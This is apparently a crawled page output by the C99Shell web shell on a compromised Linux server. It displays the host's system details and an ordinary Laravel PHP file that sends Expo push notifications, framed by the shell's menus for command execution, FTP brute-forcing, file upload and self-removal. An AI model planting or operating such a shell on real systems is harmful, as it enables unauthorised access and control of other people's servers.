!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/NotificationChannels/Expo/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpoChannel.php (2.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\NotificationChannels\Expo;

use 
Exception;
use 
GuzzleHttp\Client;
use 
GuzzleHttp\Exception\ClientException;
use 
GuzzleHttp\Exception\GuzzleException;
use 
Illuminate\Notifications\Notification;
use 
NotificationChannels\Expo\Exceptions\CouldNotSendNotification;

class 
ExpoChannel
{
    
/**
     * The Http Client.
     * @var Client
     */
    
protected $client;

    
/**
     * Initialise a new Expo Push Channel instance.
     *
     * @param Client $client
     * @return void
     */
    
public function __construct(Client $client)
    {
        
$this->client $client;
    }

    
/**
     * Send the given notification.
     *
     * @param mixed $notifiable
     * @param Notification $notification
     *
     * @throws CouldNotSendNotification|GuzzleException
     */
    
public function send($notifiableNotification $notification)
    {
        if (! (
$to $notifiable->routeNotificationFor('expo'))) {
            throw 
CouldNotSendNotification::noValidDestination($notifiable);
        }

        if (! 
method_exists($notification'toExpo')) {
            throw 
CouldNotSendNotification::undefinedMethod($notification);
        }

        
/** @var ExpoMessage $message */
        
if (! ($message $notification->toExpo($notification)) instanceof ExpoMessage) {
            throw 
CouldNotSendNotification::couldNotCreateMessage($notification);
        }

        if (! 
is_array($to)) {
            
$to = [$to];
        }

        
$messages array_map(
            function (
$recipient) use ($message) {
                return 
array_merge(['to' => $recipient], $message->toArray());
            },
            
$to
        
);

        try {
            
$response $this->client->request(
                
'post',
                
'https://exp.host/--/api/v2/push/send',
                [
'json' => $messages]
            );

            if (
$response->getStatusCode() !== 200) {
                throw 
CouldNotSendNotification::serviceRespondedWithAnError($response);
            }

            return 
$response;
        } catch (
ClientException $exception) {
            throw 
CouldNotSendNotification::clientError($exception);
        } catch (
Exception $exception) {
            throw 
CouldNotSendNotification::unexpectedException($exception);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--